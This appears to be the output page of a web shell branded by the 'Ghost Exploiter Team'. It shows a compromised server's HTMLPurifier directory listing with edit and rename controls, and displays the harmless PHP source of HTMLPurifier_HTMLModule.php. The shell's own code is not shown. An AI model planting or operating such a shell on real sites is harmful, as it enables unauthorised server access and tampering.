Shell Bypass 403 GE-C666C

Ghost Exploiter Team Official

Directory >> /var/www/html/back/vendor/ezyang/htmlpurifier/library/HTMLPurifier/

File / Folder	Size	Action
.	-
AttrDef	--	ren
AttrTransform	--	ren
ChildDef	--	ren
ConfigSchema	--	ren
DefinitionCache	--	ren
EntityLookup	--	ren
Filter	--	ren
HTMLModule	--	ren
Injector	--	ren
Language	--	ren
Lexer	--	ren
Node	--	ren
Printer	--	ren
Strategy	--	ren
TagTransform	--	ren
Token	--	ren
URIFilter	--	ren
URIScheme	--	ren
VarParser	--	ren
Arborize.php	2.49KB	edt ren
AttrCollections.php	4.748KB	edt ren
AttrDef.php	5.073KB	edt ren
AttrTransform.php	1.942KB	edt ren
AttrTypes.php	3.662KB	edt ren
AttrValidator.php	6.419KB	edt ren
Bootstrap.php	2.637KB	edt ren
CSSDefinition.php	19.489KB	edt ren
ChildDef.php	1.522KB	edt ren
Config.php	31.065KB	edt ren
ConfigSchema.php	5.757KB	edt ren
ContentSets.php	5.473KB	edt ren
Context.php	2.363KB	edt ren
Definition.php	1.329KB	edt ren
DefinitionCache.php	3.821KB	edt ren
DefinitionCacheFactory.php	3.119KB	edt ren
Doctype.php	1.545KB	edt ren
DoctypeRegistry.php	4.117KB	edt ren
ElementDef.php	7.354KB	edt ren
Encoder.php	25.106KB	edt ren
EntityLookup.php	1.393KB	edt ren
EntityParser.php	9.801KB	edt ren
ErrorCollector.php	7.446KB	edt ren
ErrorStruct.php	1.849KB	edt ren
Exception.php	0.173KB	edt ren
Filter.php	1.587KB	edt ren
Generator.php	10.012KB	edt ren
HTMLDefinition.php	17.166KB	edt ren
HTMLModule.php	9.956KB	edt ren
HTMLModuleManager.php	15.469KB	edt ren
IDAccumulator.php	1.608KB	edt ren
Injector.php	8.795KB	edt ren
Language.php	5.92KB	edt ren
LanguageFactory.php	6.298KB	edt ren
Length.php	3.801KB	edt ren
Lexer.php	12.711KB	edt ren
Node.php	1.25KB	edt ren
PercentEncoder.php	3.481KB	edt ren
Printer.php	5.759KB	edt ren
PropertyList.php	2.718KB	edt ren
PropertyListIterator.php	0.873KB	edt ren
Queue.php	1.515KB	edt ren
Strategy.php	0.744KB	edt ren
StringHash.php	1.073KB	edt ren
StringHashParser.php	3.556KB	edt ren
TagTransform.php	1.072KB	edt ren
Token.php	2.173KB	edt ren
TokenFactory.php	3.026KB	edt ren
URI.php	10.367KB	edt ren
URIDefinition.php	3.35KB	edt ren
URIFilter.php	2.31KB	edt ren
URIParser.php	2.24KB	edt ren
URIScheme.php	3.399KB	edt ren
URISchemeRegistry.php	2.353KB	edt ren
UnitConverter.php	9.908KB	edt ren
VarParser.php	5.85KB	edt ren
VarParserException.php	0.153KB	edt ren
Zipper.php	4.338KB	edt ren

<?php

/**
 * Represents an XHTML 1.1 module, with information on elements, tags
 * and attributes.
 * @note Even though this is technically XHTML 1.1, it is also used for
 *       regular HTML parsing. We are using modulization as a convenient
 *       way to represent the internals of HTMLDefinition, and our
 *       implementation is by no means conforming and does not directly
 *       use the normative DTDs or XML schemas.
 * @note The public variables in a module should almost directly
 *       correspond to the variables in HTMLPurifier_HTMLDefinition.
 *       However, the prefix info carries no special meaning in these
 *       objects (include it anyway if that's the correspondence though).
 * @todo Consider making some member functions protected
 */

class HTMLPurifier_HTMLModule
{

// -- Overloadable ----------------------------------------------------

/**
     * Short unique string identifier of the module.
     * @type string
     */
    public $name;

/**
     * Informally, a list of elements this module changes.
     * Not used in any significant way.
     * @type array
     */
    public $elements = array();

/**
     * Associative array of element names to element definitions.
     * Some definitions may be incomplete, to be merged in later
     * with the full definition.
     * @type array
     */
    public $info = array();

/**
     * Associative array of content set names to content set additions.
     * This is commonly used to, say, add an A element to the Inline
     * content set. This corresponds to an internal variable $content_sets
     * and NOT info_content_sets member variable of HTMLDefinition.
     * @type array
     */
    public $content_sets = array();

/**
     * Associative array of attribute collection names to attribute
     * collection additions. More rarely used for adding attributes to
     * the global collections. Example is the StyleAttribute module adding
     * the style attribute to the Core. Corresponds to HTMLDefinition's
     * attr_collections->info, since the object's data is only info,
     * with extra behavior associated with it.
     * @type array
     */
    public $attr_collections = array();

/**
     * Associative array of deprecated tag name to HTMLPurifier_TagTransform.
     * @type array
     */
    public $info_tag_transform = array();

/**
     * List of HTMLPurifier_AttrTransform to be performed before validation.
     * @type array
     */
    public $info_attr_transform_pre = array();

/**
     * List of HTMLPurifier_AttrTransform to be performed after validation.
     * @type array
     */
    public $info_attr_transform_post = array();

/**
     * List of HTMLPurifier_Injector to be performed during well-formedness fixing.
     * An injector will only be invoked if all of it's pre-requisites are met;
     * if an injector fails setup, there will be no error; it will simply be
     * silently disabled.
     * @type array
     */
    public $info_injector = array();

/**
     * Boolean flag that indicates whether or not getChildDef is implemented.
     * For optimization reasons: may save a call to a function. Be sure
     * to set it if you do implement getChildDef(), otherwise it will have
     * no effect!
     * @type bool
     */
    public $defines_child_def = false;

/**
     * Boolean flag whether or not this module is safe. If it is not safe, all
     * of its members are unsafe. Modules are safe by default (this might be
     * slightly dangerous, but it doesn't make much sense to force HTML Purifier,
     * which is based off of safe HTML, to explicitly say, "This is safe," even
     * though there are modules which are "unsafe")
     *
     * @type bool
     * @note Previously, safety could be applied at an element level granularity.
     *       We've removed this ability, so in order to add "unsafe" elements
     *       or attributes, a dedicated module with this property set to false
     *       must be used.
     */
    public $safe = true;

/**
     * Retrieves a proper HTMLPurifier_ChildDef subclass based on
     * content_model and content_model_type member variables of
     * the HTMLPurifier_ElementDef class. There is a similar function
     * in HTMLPurifier_HTMLDefinition.
     * @param HTMLPurifier_ElementDef $def
     * @return HTMLPurifier_ChildDef subclass
     */
    public function getChildDef($def)
    {
        return false;
    }

// -- Convenience -----------------------------------------------------

/**
     * Convenience function that sets up a new element
     * @param string $element Name of element to add
     * @param string|bool $type What content set should element be registered to?
     *              Set as false to skip this step.
     * @param string|HTMLPurifier_ChildDef $contents Allowed children in form of:
     *              "$content_model_type: $content_model"
     * @param array|string $attr_includes What attribute collections to register to
     *              element?
     * @param array $attr What unique attributes does the element define?
     * @see HTMLPurifier_ElementDef:: for in-depth descriptions of these parameters.
     * @return HTMLPurifier_ElementDef Created element definition object, so you
     *         can set advanced parameters
     */
    public function addElement($element, $type, $contents, $attr_includes = array(), $attr = array())
    {
        $this->elements[] = $element;
        // parse content_model
        list($content_model_type, $content_model) = $this->parseContents($contents);
        // merge in attribute inclusions
        $this->mergeInAttrIncludes($attr, $attr_includes);
        // add element to content sets
        if ($type) {
            $this->addElementToContentSet($element, $type);
        }
        // create element
        $this->info[$element] = HTMLPurifier_ElementDef::create(
            $content_model,
            $content_model_type,
            $attr
        );
        // literal object $contents means direct child manipulation
        if (!is_string($contents)) {
            $this->info[$element]->child = $contents;
        }
        return $this->info[$element];
    }

/**
     * Convenience function that creates a totally blank, non-standalone
     * element.
     * @param string $element Name of element to create
     * @return HTMLPurifier_ElementDef Created element
     */
    public function addBlankElement($element)
    {
        if (!isset($this->info[$element])) {
            $this->elements[] = $element;
            $this->info[$element] = new HTMLPurifier_ElementDef();
            $this->info[$element]->standalone = false;
        } else {
            trigger_error("Definition for $element already exists in module, cannot redefine");
        }
        return $this->info[$element];
    }

/**
     * Convenience function that registers an element to a content set
     * @param string $element Element to register
     * @param string $type Name content set (warning: case sensitive, usually upper-case
     *        first letter)
     */
    public function addElementToContentSet($element, $type)
    {
        if (!isset($this->content_sets[$type])) {
            $this->content_sets[$type] = '';
        } else {
            $this->content_sets[$type] .= ' | ';
        }
        $this->content_sets[$type] .= $element;
    }

/**
     * Convenience function that transforms single-string contents
     * into separate content model and content model type
     * @param string $contents Allowed children in form of:
     *                  "$content_model_type: $content_model"
     * @return array
     * @note If contents is an object, an array of two nulls will be
     *       returned, and the callee needs to take the original $contents
     *       and use it directly.
     */
    public function parseContents($contents)
    {
        if (!is_string($contents)) {
            return array(null, null);
        } // defer
        switch ($contents) {
            // check for shorthand content model forms
            case 'Empty':
                return array('empty', '');
            case 'Inline':
                return array('optional', 'Inline | #PCDATA');
            case 'Flow':
                return array('optional', 'Flow | #PCDATA');
        }
        list($content_model_type, $content_model) = explode(':', $contents);
        $content_model_type = strtolower(trim($content_model_type));
        $content_model = trim($content_model);
        return array($content_model_type, $content_model);
    }

/**
     * Convenience function that merges a list of attribute includes into
     * an attribute array.
     * @param array $attr Reference to attr array to modify
     * @param array $attr_includes Array of includes / string include to merge in
     */
    public function mergeInAttrIncludes(&$attr, $attr_includes)
    {
        if (!is_array($attr_includes)) {
            if (empty($attr_includes)) {
                $attr_includes = array();
            } else {
                $attr_includes = array($attr_includes);
            }
        }
        $attr[0] = $attr_includes;
    }

/**
     * Convenience function that generates a lookup table with boolean
     * true as value.
     * @param string $list List of values to turn into a lookup
     * @note You can also pass an arbitrary number of arguments in
     *       place of the regular argument
     * @return array array equivalent of list
     */
    public function makeLookup($list)
    {
        $args = func_get_args();
        if (is_string($list)) {
            $list = $args;
        }
        $ret = array();
        foreach ($list as $value) {
            if (is_null($value)) {
                continue;
            }
            $ret[$value] = true;
        }
        return $ret;
    }

/**
     * Lazy load construction of the module after determining whether
     * or not it's needed, and also when a finalized configuration object
     * is available.
     * @param HTMLPurifier_Config $config
     */
    public function setup($config)
    {
    }
}

// vim: et sw=4 sts=4

<=Back